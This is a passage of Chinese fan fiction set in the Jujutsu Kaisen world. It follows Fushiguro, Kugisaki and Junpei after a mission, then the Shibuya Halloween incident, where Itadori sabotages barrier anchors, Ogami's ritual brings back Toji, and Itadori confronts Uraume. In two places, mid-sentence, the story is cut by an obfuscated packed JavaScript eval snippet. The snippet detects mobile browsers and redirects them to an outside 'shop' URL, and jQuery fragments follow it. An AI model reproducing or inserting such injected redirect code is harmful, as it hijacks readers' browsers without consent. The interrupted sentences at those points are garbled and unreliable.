所谓诅咒,不正是这样折磨着所有人、嘲笑每一颗挣扎着跳动的心脏的吗?
“我来,”粉发少年睁开眼睛,眸光明亮,“结束这一切。”
——
伏黑惠和同期们从鲤之口峡谷八十八桥下面寻找回到公路上的小路。他在钉崎野蔷薇的抱怨声中看着始终无法拨通的电话,表情慢慢变得凝重起来。
“怎么了吗,伏黑同学?”吉野顺平走在他后面,看到他的神情后疑惑地问道。
八十八桥的诅咒已经被他们祓除了,被无意中牵扯进去的伏黑津美纪也已经安全,吉野顺平觉得应该没有什么事情是被他们忽略的了,所以伏黑惠的样子就显得更加奇怪。
“也许是我想多了,”伏黑惠抚着后颈,“我总觉得那里留下的残秽和宿傩的手指很像。”
钉崎野蔷薇抬高手机寻找信号:“有吗?我好像也有点模糊的感觉,就是那种黏黏糊糊得像是恶心的臭泥巴一样的咒力残秽?气息太微弱了,我还以为是我感知错了。”
“宿傩的、手指?”吉野顺平不由自主地抖了一下。
“啊,感觉像是被人取走很久了的样子,所以我打算问问那家伙来着,但是他不接电话。”而且也不再回复他的信息。
钉崎野蔷薇挑眉。
“那个,你们说的到底是......?”
从旁人口中听到的关于虎杖悠仁的传言总有一种不真实感,没见过他的人会觉得是说者夸大其词,毕竟身为诅咒师却和咒术师们关系亲近、和咒灵们混迹在一起却依旧能够得到“天真的笨蛋”这类的评价,怎么想都不太像是现实生活中会真实存在的人。
这样的形象让吉野顺平本能地怀疑着。
“......也许吧。”伏黑惠轻易地接受了他的不信任。
人心是会变的,谁又能保证自己永远看得清另一个人呢?
“不过,哪怕如此我也想继续相信他们。”伏黑惠坦然地说道。他所做的一切选择都出于他自己的良心,因此他不在乎自己做的是正确的还是错误的。如果良心被否定的话,那剩下的就只有相互诅咒了。
连这样的选择也是被默许的,所以他不会后悔。
吉野顺平陷入了沉思。
他的生活与一个月前宛如天壤之别。虽然偶尔也会悲伤到彻夜难眠,但二年级的前辈会在他痛苦地纠结时提出用咒言帮他度过难捱的夜晚。同期们都很好相处,前辈们也很照顾他。
仿佛大家都将他曾经犯过的错误从记忆中抹去了一样。
“不管是谁都会有没办法原谅自己的错误的吧?一个或者两个的区别只在于你究竟在乎多少,如果怎么都无法原谅的话,就只能等着它们变成诅咒了啊。”
钉崎野蔷薇看得很通透。一般一年级们的外出聚餐或者一些其他的活动——特指逛街以及去唱卡拉OK等等——都是由她组织起来的,上次他们还和二年级的前辈们一起去了保龄球馆,出门又碰上了明星签售会,结果在队伍里看见了京都校的学生。
“……那家伙还欠我一套衣服!!”钉崎野蔷薇咬牙切齿地说道。
交流会上发生的恩怨好似是真的,又好似没人在意。就像吉野顺平能够感受到钉崎野蔷薇提起被禅院真依打坏的衣服时是货真价实地在生气,可很快她又会表现出一副满不在乎的模样,加剧了吉野顺平的不真实感。
对此,当事人解释道:“我可没有时间总让自己计较这些事,与其纠结那一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378229|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
套衣服,我可以继续逛其他的服装店让自己变得高兴起来。”
“嗯?你问为什么不记恨禅院真依?诶——她是真希学姐的妹妹吧?再说了大家都是咒术师,交流会上的摩擦也早就过去了,之后不还是一起并肩作战了吗?不过我可没说我原谅她了!!”
真是矛盾的说法。
“有人跟我说,”伏黑惠加入了这场对话,“不选择原谅也是一种温柔。”
如果伤害必然发生,而事情也如梦幻般一路发展下来,加害者忏悔、受害者原谅,似乎这样就已经能够称得上是完美结局。
但是,伏黑津美纪却不这么认为。她说这话时的语气就像是他们在进行一场平平无奇的日常谈话,然而伏黑惠却从这样的语句中找到了可以停泊的港湾。
不原谅也是可以被允许的,伤害是可以被铭记、是可以不被时间与生活一天天磨灭的。
这很残忍,可他们从不打着为谁好的旗帜,让他们放下仇恨与伤害,专注于重新开始生活,所以这是种残忍的温柔。
“我对别人的生活没那么大的占有欲,不如说在乎他人的人生更胜过自己的家伙大概全都是脑袋不正常的人吧?”当然了,这是不可能的。不过,钉崎野蔷薇就是看不惯一些人大声叫嚷着,让自己相信除了他之外的所有人脑子都不正常,然后因此恣意地践踏其他人的人生。
她不知道吉野顺平此时此刻究竟是怎么想的,但是只要想想纱织、想想小文,想想她认识的、不认识的那些曾被“脑子不正常的人”糟蹋过人生的家伙们,她也多少能够体谅一些。
“不过,倒也不全是这样的家伙吧。”最终,她还是改了口。比如某个未曾谋面的“天真笨蛋”?
为了在自小生活的村子里成为旁观者,她吝啬于让那些愚昧、落后的家伙们进入自己的心里。她谨慎地挑选着受邀者,小文是第一个,等她来到了东京,越来越多的人主动搬着椅子坐了进来。
“我的话,”钉崎野蔷薇撩起头发,潇洒地说,“觉得在死前能够说‘这辈子还不赖’就算很满意了。”
伏黑惠拍打着粘在裤脚上的带刺种子,没什么表情地说:“我估计要到看见津美纪过得幸福才能安心闭眼吧。”
钉崎野蔷薇凑到吉野顺平身边,用不那么私密的悄悄话吐槽道:“他就是传说中的‘那个’吧?对吧?”
“.....我听得到。”
“哦!说中了!”
这让吉野顺平有点手足无措。这是他第一次拥有能够并肩作战的同伴,这与曾经和他一起经营电影同好会社团的朋友们不同,哪怕各自拥有不一样的战斗理由,但待在这里让他久违地体会到了安心的感觉。
如果现在将那枚按钮再一次放到他的眼前,他还能毫不犹豫地摁下去吗?
可能......
“啊!新田小姐打电话来了!”钉崎野蔷薇快跑了两步来到公路旁,接通了辅助监督的电话。
伏黑惠和吉野顺平跟在后面,这时伏黑惠突然开口:“就算从高专毕业,之后不选择继续做咒术师的也大有人在。如果不准备把咒术师划入未来的职业规划,尽早和五条老师说清楚,也不会再有容易丢掉性命的任务交给你。把在高专的时间当成普通的高中来度过,毕业后就去找自己感兴趣的工作也没人会苛责你。”
“伏黑同学?”
伏黑惠又不由自主地摸着后脖颈:“如果没有什么拼上性命也要去做的事的话,平平淡淡度过一生也不错。”
他认真地说道:“如果把它当做理想,那就再没有高低贵贱之分了。”
吉野顺平沉默了一会儿,随即回答:“我明白了。”
“喂——你们赶快过来啊!”钉崎野蔷薇已经走到了公路对面,新田新的车也刚好停在路边,此时正摇下车窗向他们招手。
吉野顺平坐上车,一边听着钉崎野蔷薇抱怨这次的任务地点太过偏远,一边听伏黑惠和新田新汇报任务细节,偶然将头转向车窗外,瞥见了被远山吞噬了半边的夕阳。
妈妈,他这算不算是跳出小水缸、来到大海里了呢?
——
2018年10月31日,18时,涩谷东急百货店。
虎杖悠仁将缠绕着咒符、蕴含言灵与咒力的橛子砸进了地面。还有一个小时,这里就会张开第一个“帐”。九相图兄弟们此时正分散在涩谷各处,像他一样将设立嘱托式“帐”的橛子放置到提前安排好的位置。
裂纹从橛子根部深入地面的部分向外蔓延。
虎杖悠仁没有感知到特级咒灵们的气息,他一再确认了几遍,决定立刻动手——如果花御还在监视他的话,那也无所谓,距离它们开启“帐”的时间不足以让它们再制作一个符合要求的橛子。
粉发少年扯掉了咒符的一部分,换了一张新的上去。
如此一来这个“帐”的其中一个根基就像是装满了BUG但能够勉强跑起来的程序,脆弱,但对虎杖悠仁来说却刚刚好。
他动手之后屏气凝神,没有等到花御的诘问。看来它并不在这附近......那还真是走运。
虎杖悠仁戴好兜帽,离开了楼梯间。
91. 第 91 章
19时。
“哥哥,手机是不是坏掉了?听不见悠仁的声音了。”血涂举着手机向坏相询问道。
“‘帐’已经落下,结界内是没有手机讯号的,”坏相没有脱掉外套,帮血涂整理了它的伪装,“我们只需要静静等待就好,你应该还记得大哥的吩咐吧?”
血涂在原地跳了两下,有鲜血控制不住地从布匹下面甩出来。它当然记得,大哥和悠仁嘱托的话,它全都清清楚楚地记着呢。
以东急百货店为中心,半径约400米的“帐”毫无征兆地笼罩了这片地区。起初只是小范围的骚乱,被阻隔在“帐”两侧的非术师们拍打着无形的壁障,明明相对而立却无法看到对面同样有人在好奇地敲打着。
他们无法看到“帐”的另一侧发生了什么,更准确地说是无法意识到对面的景象已经截然不同。
在有人注意到手机讯号被阻断后,混乱开始升级。
街头的万圣节狂欢仍在继续,年轻人们穿着各色装扮走在喧闹的游行队伍中,享受着纯粹的快乐。边缘的混乱被当做应景的节日气氛欢迎着,一无所知的人们开始和看不见摸不着,却真实存在着的咒灵们共舞。
直到亲眼看见身边的人口吐鲜血、抽搐着倒在地上,看着他们的肺部恐怖地塌陷,发出濒死的嘶嚎时,终于有人放声尖叫。
靠近“帐”中心的人茫然地望向混乱的源头。
恐惧如潮水般向内涌去。
涩谷S塔顶端,虎杖悠仁强迫自己望向灯火通明的街道。周围只能听见在黑夜中无形穿梭的风声,比想象中得更加吵闹一些。他脚下最外层的“帐”附加条件是阻止非术师的进出,不过在“帐”的某些方向被留出了几个“窗口”,一些普通人也许会因为个人体质的原因,可以从窗口逃脱。
按照羂索教给他的知识,这是让给“帐”增添的附加条件成立的根本,可以将其想象成最简单的束缚。想要增加怎样的条件,就得付出可以令天平恒等的代价。这些条件无外乎都是与咒力相关的东西,也就是指咒灵、咒物、或者人,当然像这样赋予被困者逃脱之法的条件也是可以被认可的。
少年的身形还未完全长开,但被风吹得紧贴在身上的外衣勾勒出了强健的躯体,介于青涩与成熟之间。
“现在的年轻人,真是不知道尊老爱幼,”顶层的风呼啸着,身后传来诅咒师倚老卖老的调侃,“小子,你今年多大?”
虎杖悠仁终于对他的话产生了一些反应,眼睛向后瞥见了和他一起站在天台上的三个诅咒师。
说话的人是粟坂二良,身材较他那个年纪的人来说矮小但健壮,浑身的肌肉看起来比举重运动员还要夸张。虎杖悠仁懒得管他口中的年轻人指的是自己还是找他们过来合作的羂索,也不想回答关于年龄的问题,索性直接无视了他们。
他知道粟坂二良满嘴谎话,自从他们在顶层碰面之后他已经听这个人说了好几版故事,一会儿说是身为独生子为了照顾生病的母亲才出来当诅咒师,一会儿又说自己有个远嫁的女儿欠下了外债,这个看上去不知道是50岁还是60岁的男人似乎为了这一场......战争而异常兴奋。
“你还是老样子啊,粟坂。”尾神婆看上去年纪更大一些,佝偻着后背,闭眼捻动手中的佛珠。
“嘻嘻,谁听到那个人的计划能不激动呢?可别说你已经服老了,婆婆。”
站在尾神婆身旁的是一个瘦高个的青年,虎杖悠仁只瞥了他两眼,就对这个人再也没了探究的兴趣。
“小子,我看你的年龄也不大,和我孙子差不多吧?怎么样,等我们恢复了自由之后来和我们一起生活吧?”
虎杖悠仁抬眼。
之所以对尾神婆身旁的青年没什么兴趣,是因为他能从对方的眼睛里看出某种枷锁。哪怕身体并没有被束缚,可心灵却早已被奴役,如果再联想一下尾神婆的咒术,也不难看出他们并非真正的祖孙关系。
至于诅咒师们口中所说的“恢复自由”......
虎杖悠仁的目光落在了粟坂二良脚下的三根橛子上。
在涩谷落下的“帐”内,有一个针对术师的“帐”紧接着落了下来,其同样利用了橛子作为根基,只需要向这三个东西里注入咒力即可生效。
他会被要求来到这里和诅咒师们看守这三根橛子的理由并不难推测。
禁止术师进入的“帐”说到底也是为了保护内部,按常理来说受到保护的东西应当待在“帐”里,包括设下“帐”的术师。
可现在他们站在了“帐”外,通过提高根基被破坏的风险来加强“帐”本身的坚固程度,这种想法自然也经过了羂索的提点和要求。
这意味着虎杖悠仁也被关在了“帐”外,保证他不会轻易扰乱羂索和特级咒灵们的计划。
时间一分一秒地走着,焦虑也不断滋生,不过兜帽和一刻不停的狂风替他遮掩了不算平静的神情。
羂索的命令直接又干脆,贴心地禁止他使用手机,拒绝了他能够想到的一切规避之法。
但也仅限于地下围猎的开始。
只要这三根橛子没有被破坏,他就必须一直待在这附近。但如果它们被破坏、“帐”被打破之后——
连虎杖悠仁自己都没想明白为什么羂索从不真正地将他当成一件毫无知觉的死物关在仓库或者囚室里禁锢自由,依旧允许他在有限的范围内自主行动,像是一只徘徊在玻璃窗外的蚊虫一样寻找着贴近光亮的方法。
屋里吸引着他的东西简直像是一块带着毒的蜜。
虎杖悠仁在天台的边缘蹲了下来,仔细留意着某个过于显眼的咒力气息。如果他过来了的话,自己无论如何也不能再在这里等下去了。
20时14分,东京地铁涩谷站13号出口附近,伏黑惠跟在七海建人的身边等待指令。猪野琢真正在打量着最外层的“帐”,因为不确定“帐”的追加条件,所以现在已经赶到涩谷的咒术师们全都在外围待命,等待下一步指示。
“进入‘帐’中的辅助监督们联络中断了,看来是阻隔了手机讯号,”七海建人推了推眼镜,望向四周,“这个‘帐’的规模太大了,除了那几个特级咒灵以外,我想不出还有谁能够策划这样一场有预谋的行动。”
去年平安夜发起的、涉及东京与京都两地的咒术恐怖|袭击事件仍历历在目,不过比起夏油杰那种提前预告过的行动,这样毫无头绪、目的不明的突袭更棘手一些。
七海建人提醒伏黑惠:“如果你没办法联系到你的朋友,那就做好与他敌对的心理准备。”
伏黑惠放下手机:“我明白。只是我们一定要等五条老师过来吗?有机械丸前辈在的话,我觉得可以在确保‘帐’外有人驻守的情况下尽快进去。”
“等他过来是最安全的解法,如果是平常我会劝说你接受这个安排,不过现在......今晚涩谷站附近举行了盛大的万圣节游行活动,至少我们能看到‘帐’的其中一个效果就是阻止了普通人的进出。”
七海建人说道:“等机械丸过来之后,我们负责突入,我会联络日下部,由他们负责在‘帐’外策应。”
机械丸被京都校开除后关押在监牢内,经过一些周转,最终被释放了出来,作为编外人员继续留在京都校执行任务,由他的同期和同行的一级术师负责监视。“帐”虽然能够阻隔手机讯号,但没办法阻拦被术式操纵的傀儡,而那些机械造物全都是机械丸的眼睛。
机械丸的傀儡在七海建人挂断电话后的三分钟内就抵达了前线,带回了“帐”内的更多情报。
20时20分,伏黑惠、七海建人等人从涩谷站13号出口附近进入了最外围的“帐”,钉崎野蔷薇跟随禅院真希和禅院直毘人从涩谷MarkCity餐厅大道附近同时进入。日下部笃也、熊猫以及吉野顺平留在“帐”外的JR涩谷站新南口附近准备接应。
“这个是、第二个‘帐’!”有了机械丸建立起来的联络通道,猪野琢真大胆地尝试进入呈现在他们面前的第二个结界。
伏黑惠已经召唤玉犬祓除夹在两个“帐”之间这段街区里的咒灵,他的确看到了不少人员伤亡,可令人疑惑的是同样有很多咒灵被祓除后尚未完全消散的残秽,仿佛这里的咒灵已经经过了一轮清扫一样。
七海建人同样敏锐地发现了这一点。作为百鬼夜行的亲历者,他知道去年因为夏油杰的预告,咒术师们提前尽可能地清空了可能爆发战斗的地点,被波及的非术师人数才会那样稀少。
说实话,“帐”内的情况比他预想得要好上太多,七海建人甚至觉得比起“造成骚乱”或者“围杀普通人”,罪魁祸首们更想将这些人困在这里......像是人质一样。
第二个“帐”似乎有着拒绝术师入内的附加条件。
他挽起袖子,取出了咒具:“猪野,你退开一点。”
被加持了【十划咒法】暴击伤害的一刀仅仅是令“帐”的外壳摇荡了一下,很快便重新归于平静。
伏黑惠见状,主动提议:“我来用贯牛试一试。”
这个式神只会直线行动,不过距离越远,冲撞的威力越大。和圆鹿一样是召唤一次就会耗费掉伏黑惠大部分咒力的存在,不过只要能够破开这个“帐”......
七海建人阻止了他:“现在还不到随意浪费咒力的时候。这个‘帐’并不正常,用常规手段只是在原地打转而已。”
它太坚固了。连一级咒术师的全力一击都无法撼动的结界,已经不能单纯地用设下这个“帐”的术师水准很高来解释,哪怕国内的结界术都经过了天元大人的强化,也不应该拥有这样的强度。
虎杖悠仁所在的位置能够清楚地看到“帐”的摇荡。有人正在试图突破第二个结界。
“哦豁,看来是个很拼命的家伙呐,”粟坂二良将手掌搭在眼前,遥遥眺望着,“说起来,你这次又准备了新玩具吗,婆婆?”
尾神婆笑了起来。
她的降灵术能够将自己或者他人作为凭依对象,让死者附身。前提是必须持有附身者的一部分,如果对降下的信息加以限制,可以做到无限制地使用凭依者的力量又不用担心遭到反抗。
“交给他就好,”老态龙钟的诅咒师阴险地笑着,对于自己玩弄死者的行为沾沾自喜,“难得出来工作,当然要准备最好的了。”
虎杖悠仁站了起来,转身面对粟坂二良和尾神婆祖孙。
“......小鬼,”一生以咒杀为业的诅咒师讥讽地说,“这栋大楼的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378230|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底层全都是改造人,你觉得他们能简单地爬上来?”
虎杖悠仁向后退了两步,尾神婆身旁的青年终于有了一些反应,抬起眼皮和尾神婆一起看向粉发少年。
光在这里也不可多得,单单从下方投射来的那些更偏爱他一些,将从兜帽边缘散出的发尖照得通红发亮。
在鵺嘶鸣着冲破夜空的时候,虎杖悠仁轻轻向后一跃,和乘着式神直冲云霄的咒术师们打了个照面。
“——虎杖?!”伏黑惠下意识地想要伸手去拉他,可在分秒之间又意识到了他们的目的,伸出的手只蹭过了飘忽的衣角。
勉强能承受住三人重量的鵺带着他们继续前冲,借助惯性落到天台上的七海建人只扫了与他们擦肩而过的虎杖悠仁一眼,就将全部的精力放在了严阵以待的其他诅咒师们身上。
【反重力机构】让虎杖悠仁“站”在了半空,没人知道他究竟想要干什么。
粟坂二良硬生生用肉|体挡住了猪野琢真的进攻。戴上头罩的年轻术师看到他仅凭肉|体就挡下了旋转的尖角,不由得发出一声惊呼。
“毫发无伤啊......虽然知道不会是什么好对付的对手,但这也太让人沮丧了。”猪野琢真故作轻松地说。
“哦?这个是灵媒?婆婆,难得遇到像你一样的术式啊。”粟坂二良被尖角攻击到的地方连受击的印记都没有留下,令人百思不得其解。
“孙儿,”尾神婆双掌合十,闭眼说道,“开始准备吧。”
一直站在她身旁的青年低声答应,以保护者的姿态来到了看上去正在准备施用术式的尾神婆面前:“嗯,我明白,奶奶。”
这个老太婆的术式也是某种降灵术?!猪野琢真拉下头罩,谨慎挑选着下一个召唤的瑞兽。七海建人很快制定了作战方案,目前天台上看守着嘱托式“帐”的根基的有四个人,尾神婆看起来在施用术式的期间需要他人保护,这对祖孙不会轻易分开,粟坂二良像是能够强化身体素质的类型,不排除他拥有特殊的术式。
至于一直站在他们身后、既不出手也不作声的虎杖悠仁......
伏黑惠反倒因为他这样作壁上观的行为松了一口气。如果这家伙是因为身上的某种束缚而不得不出现在这里,总比他们货真价实地敌对来得更让人轻松一些。
三对三的战斗即将开幕。在某一刹那,所有人都感知到了那股张扬而强大的咒力气息。
虎杖悠仁猛地转头望向了道玄坂2丁目的方向。以它的出现为讯号,一直盘旋在高空中伺机而动的鵺率先降下了雷霆,直击粟坂二良和尾神婆。
猪野琢真继续召唤一号獬豸,配合七海建人向尾神婆祖孙攻去。比起术式能力不明的粟坂二良,看起来需要受人保护的尾神婆更容易击溃,在她真正完成降灵术之前先将他们踢出局!
鵺的进攻依旧没有在粟坂二良身上留下任何痕迹。既然物理攻击和非自然手段的进攻都无效......伏黑惠没有固守成规,他迅速改变了策略,比出兔子一样的手影召唤了数量庞大的脱兔。
小动物们像是快餐店里从冰激凌机中挤出来的雪白乳制品,迅速将诅咒师包围在了内部。虎杖悠仁接住了一只掉队的脱兔,红眼睛的小家伙耸动鼻子嗅闻着,最终放弃了给他一顿小兔拳的想法。
伏黑惠在脱兔的掩护下迅速冲向了橛子所在的地方。
余光瞥见脱兔们围成的半球体,被困在里面的人似乎并没有迅速脱出的意思。为什么?如果是能够强化肉|体的术式,为什么不直接打破脱兔的包围冲出来?
七海建人和猪野琢真的进攻都被挡在尾神婆身前的青年不要命地拦了下来,甚至折断了手臂也毫不在意,就像是感觉不到疼痛一般,甩着露出骨碴的伤口继续用肉身阻拦着他们。
尾神婆的口中念着晦涩的咒,听起来像是某种言灵,而聚集在她身上的咒力愈发活泛,逐渐演变成了某种不容忽视的警告。
诅咒师们似乎只是象征性地在乎着这几根橛子,伏黑惠一脚将它们踩得粉碎。
尾神婆周身咒力升腾,几乎是一瞬间便达到了恐怖的程度:“孙儿,可以了。”
她拍动双掌,睁开的眼睛也变得与生人全然不同,眼白被染得漆黑,看起来满是非人之感。
“猪野!”七海建人喊道。
虽然不知道这种不妙的预感从何而来,不过他还是遵从自己的直觉,想要阻止这对祖孙接下来的动作。
七海建人来不及靠近,索性直接用钝刀一样的咒具击碎脚下的地面,将自己的咒力融入飞溅的碎块中,利用扩张术式将每一块飞向诅咒师们的碎片都赋予【十划咒法】的威力!
青年在獬豸的尖角和碎石抵达前吞下了一个不明物体。
破坏了橛子的伏黑惠意识到了什么,扭头看向虎杖悠仁原本待着的地方。那里已经空无一人。
视线扭转间带过了始终被脱兔困在内部没有动静的诅咒师,他脑海中灵光乍现,突然明白了粟坂二良的术式可能拥有的能力,不过在他来得及将自己的猜测告知七海建人他们时,天台上骤然增大的风将所有人吹得透心凉。
尾神婆手中的珠链相互碰撞,一个对咒术师们来说有些陌生的名字脱口而出:“——禅院甚尔!!”
92. 第 92 章
伏黑惠没有错过从尾神婆口中冒出来的那个名字。
尽管姓氏陌生得很,但他还是不可避免地想到了那个人。
伏黑惠无比熟悉,至少曾经有期待过他能够像一个真正的父亲一样照顾自己和津美纪,哪怕等到他们有能力负担自己的生活之后再玩失踪,也好过把两个只有五六岁的孩子丢在家里自生自灭。
跟在尾神婆身边的青年面容扭曲着,最终完全变成了另外的一副面貌。一张早就在伏黑惠的回忆中褪色,却又被名字重新唤醒的脸。
就算他不清楚尾神婆的降灵术如何运作,多少也能明白一点:生者是没办法被召唤凭依至另一具肉|体上的。
S塔顶层的战斗以一种荒诞的方式彻底落幕。
尾神婆为了避免受召唤者反抗凭依、干扰术式,所以只降下了肉|体的信息。但是禅院甚尔献祭了所有的咒力换来的极致肉|体本就是万中无一,甚至因为过于强悍而拥有了能够看见咒灵的能力。
因此,即便尾神婆无意降下灵魂的信息,但在本就如同BUG一样的禅院甚尔身上,肉|体战胜了灵魂,使其拥有了自我意识,像是咒物受肉一般完全地掌控了青年的身体与精神。
缩在脱兔包围中的粟坂二良等待着伏黑惠的下一步进攻。他的术式是颠倒,简而言之是个需要等待后手反击才能给敌人造成致命伤的术式,因此只是为了围困而不主动发起进攻的脱兔让他错失了及时离开包围的机会。正在犹豫要不要主动突围的时候,粟坂二良忽然眼前一花。
没有人能够看清禅院甚尔的动作,术师杀手狰狞地笑着,单手掐住了粟坂二良的脖颈。
“哈?!”脱兔们组成的屏障被击穿出了一个大洞,禅院甚尔所过之处带起的风压迟滞,停留了一秒左右,随即将这些雪白的小家伙们冲击得七零八落,化作影子重新融入伏黑惠的脚下。
粟坂二良瞪大眼睛,血丝几乎瞬间爬满了眼球,被锁住的喉咙里发出破碎的咯咯声。
“你、你这家伙——”
【颠倒】能够化解、转变的力量是有上限的。
禅院甚尔嘴角的疤痕扬起,手一松,抬脚将试图用术式平衡攻击的诅咒师踹了出去。粟坂二良只觉得自己仿佛被火车头迎面撞上,下一刻直接失去了意识,生死不知。
“没意思的家伙,”禅院甚尔拍了拍手,晃动头颅,“那老太婆跑了啊。”
尾神婆早已在术式失控的第一时间逃之夭夭。使降灵术结束的契机已经不在她的掌控之内,不过按理说离开了她的控制,降灵术也会在容器的咒力耗尽的那一刻自行结束。但是禅院甚尔没有一丁点咒力,也就是说此时此刻,这个降灵术彻底没有了被外力中断的可能。
偏偏因为这对祖孙之间的绝对信任,青年自愿成为容器的过程中没有丝毫反抗,让禅院甚尔得以以完美的姿态凭依在了他的身上。
“虽然搞不懂发生了什么,不过,你们也要打吗?”真正的天与暴君松散地站在原地,可这样的姿态却令猪野琢真不由自主地吞咽着,冷汗直流。
“——咒术师们?”
七海建人没有回头,对伏黑惠说道:“伏黑同学,先行撤退是最优先的选择,用你的式神......”
一直没说话的黑发少年抬起头,皱着眉毛用苛责的语气责备道:“......你多少也该适可而止了吧?”
禅院甚尔终于扭头看向他。
“混蛋老爹——!!”
——
“虎杖悠仁,看他干的好事——”
拥挤的人群因为“帐”一角出现的“窗口”而逐渐脱离围困,哪怕花御迅速反应找到了那处缺口,在用枝条拦住它之前也有一大部分普通人逃了出去。
这个“帐”附加了阻止普通人进出的条件,如果从外到内来算的话,这就是最中心的第四层结界,目的是将大量被改造人逼至副都心线站台地下1到4层的普通居民们困在这里充当筹码。
为了提高结界的强度,“帐”的根基同样被布置在了外部,现在应该被关在阻止术师进入的“帐”外的虎杖悠仁只有布置它们的时候才有机会动手脚,是在那个时候改变了橛子上缠绕的咒符和言灵吧?
真人责怪羂索的放纵,不过他只是毫不在意地笑着说:“有什么关系?这样的挣扎不会影响我们的计划,倒是让那孩子变得更加滑稽了一些......作为余兴的笑料也勉强合适。”
作为所有嘱托式“帐”真正的制作者,羂索察觉到外围的第二个结界已经被人破坏了。
真人耸肩:“那也没什么吧?本来就没指望那些人类诅咒师能派上多少用处,虽然看到那么精妙的结界被破坏的确会有点遗憾啦~”
它的语气可听不出半分遗憾。
与在高专交流会的突袭上使用的“帐”类似,只不过附加的条件完全相反。那是一个“拒绝所有术师”、“只允许五条悟进入”的“帐”,如此一来条件达到了平衡,再加上将根基置于结界保护范围之外的行为,最终构建了一个强度远超想象的“帐”。
“既然是意料之中,那就不需要再浪费时间和精力了,真人,”羂索摆弄着手中的方形物体,说道,“你该出发了。”
“好好~”它嘿嘿笑着,登上了仍在行驶中的列车。
车门关闭,载着无知无觉的乘客们驶向了真正的地狱。
虎杖悠仁在楼宇间以常人难以想象的行动力跳跃着前进,凭借术式和出色的身体能力,他无比迅速地接近着所有“帐”的最中心——地铁副都心线地下5层的站台。
20:51。
一闪而过的电子时钟上展现出的数字对虎杖悠仁来说没有任何意义。
不过比起去得太晚,他还是希望自己不要缺席。
第一粒冰晶触及脸颊的时候,虎杖悠仁还没有太过在意。然而很快他就被骤降的气温逼停在了原地,警惕地注视着前方出现的人。
“......宿傩已经受肉了?”虎杖悠仁问道。不能被这家伙拦在这里......羂索是故意让里梅过来的吗?他到底打的什么主意?
穿着僧衣的诅咒师周身缠绕着寒气,过度冷却的咒力向四周飘散而去,虎杖悠仁慢慢觉得自己的每一次呼吸都变得越发干冷,带着能够冻结人心的寒意。
“迎接宿傩大人归来的仪式已经准备完毕,接下来就差你这个主菜了,虎杖悠仁。”里梅终于把双手从宽大的袖口中拿了出来,刺骨冰寒的咒力集中在双掌。她势在必得。
虎杖悠仁稍微想通了一些。
羂索为了保证自己的目标顺利达成,谨慎又阴险地准备了多种后手。秉持着不把鸡蛋都放在一个篮子里的秘诀,谁也不知道他究竟准备采取哪个计划。有被选择的,自然就有被抛弃的。
像是围剿教会的禅院术师,亦或是两面宿傩拒绝受肉后的里梅。
“也就是说,我想要继续前进的话,就只能在这里彻底将你打倒了。”虎杖悠仁握紧拳头。
他击败了里梅,羂索也就只少了一个可能再也用不上的废牌。而哪怕状况反过来,是他死在了里梅的手上,对羂索来说也不亏。毕竟里梅会将他送给宿傩好让诅咒之王完全复活......羂索乐见其成。
虎杖悠仁猜对了大半,只是他似乎小看了羂索在他身上下的注。
“只是这样还不够,”活了千百年的阴谋家撑着脸颊,将纯粹的好奇与快乐压缩进自言自语中,似是叹息又似是有些激动地说,“必须得再给他来点儿刺激才行。”
副都心线地下四层,由花御的枝条藤蔓临时搭建的地面瞬间消失,无数被逼至空洞中心的普通人尖叫着坠落了下来,特级咒灵们游走在人群当中,露出阴谋得逞的奸笑。摘掉了眼罩的五条悟神情冷峻,越来越多的人被赶向他所在的方向,鲜血与恐慌撩拨着所有人的心弦。
曾经惨败于五条悟之手的漏瑚愉快地看着最强咒术师被逼迫着重新在心中衡量生命的价值,想象着自己大仇得报的美好幻景。没错!就这样继续思考、继续估量!!允许一部分普通人因为不可抗力而死,可如果这个数量超过了可被接受的心理预期,你又要怎么办?!
“束手就擒吧!”
“......”
虎杖悠仁听到了埋在地下的水管因为极致低温而爆裂开的声响,他的手上戴着半指手套模样的咒具,同样将咒力集中在了拳头上。
“——如果你做得到的话,尽管来试试看!!”
少年拧眉,眼中流露出不属于他这个年纪的冰冷杀意:“我要在这杀了你。”
——
吉野顺平和日下部笃也、熊猫两人留在了“帐”外随时待命,进入内侧的同伴们全都改用机械丸为他们准备的耳机大小的机械造物相互联系,恰在此时响起的电话铃声就显得有些突兀。
熊猫不知道从哪里取出了自己的手机,在日下部笃也“真的假的啊”的表情中摁下了接听键。
本就因为预料到接下来会发生很麻烦的事情而一直在唉声叹气的成年人抱着刀坐在石凳上,叼着糖棍望向看不见星星的夜空。
“哦!忧太!我还在想你什么时候回来,”熊猫听了一会儿对面人说话,然后戳了戳机械丸,“机械丸说惠他们遇见那孩子了。他完全没和你联络吗?”
乙骨忧太现在正在南方的鹿儿岛,收到辅助监督和五条悟的信息后立刻依次向狗卷棘和禅院真希他们发起联络,但进入“帐”的同期们都没能回应。直到他打通了熊猫的电话,这才逐渐开始了解远在千里之外的涩谷发生了什么事。
“......五条老师呢?”乙骨忧太将手机夹在肩膀上,收拾自己的行李。从下午开始,他和虎杖悠仁的联络就断开了。焦虑膨胀着,没等它们推着他回到离虎杖悠仁更近的地方去,变故突生。
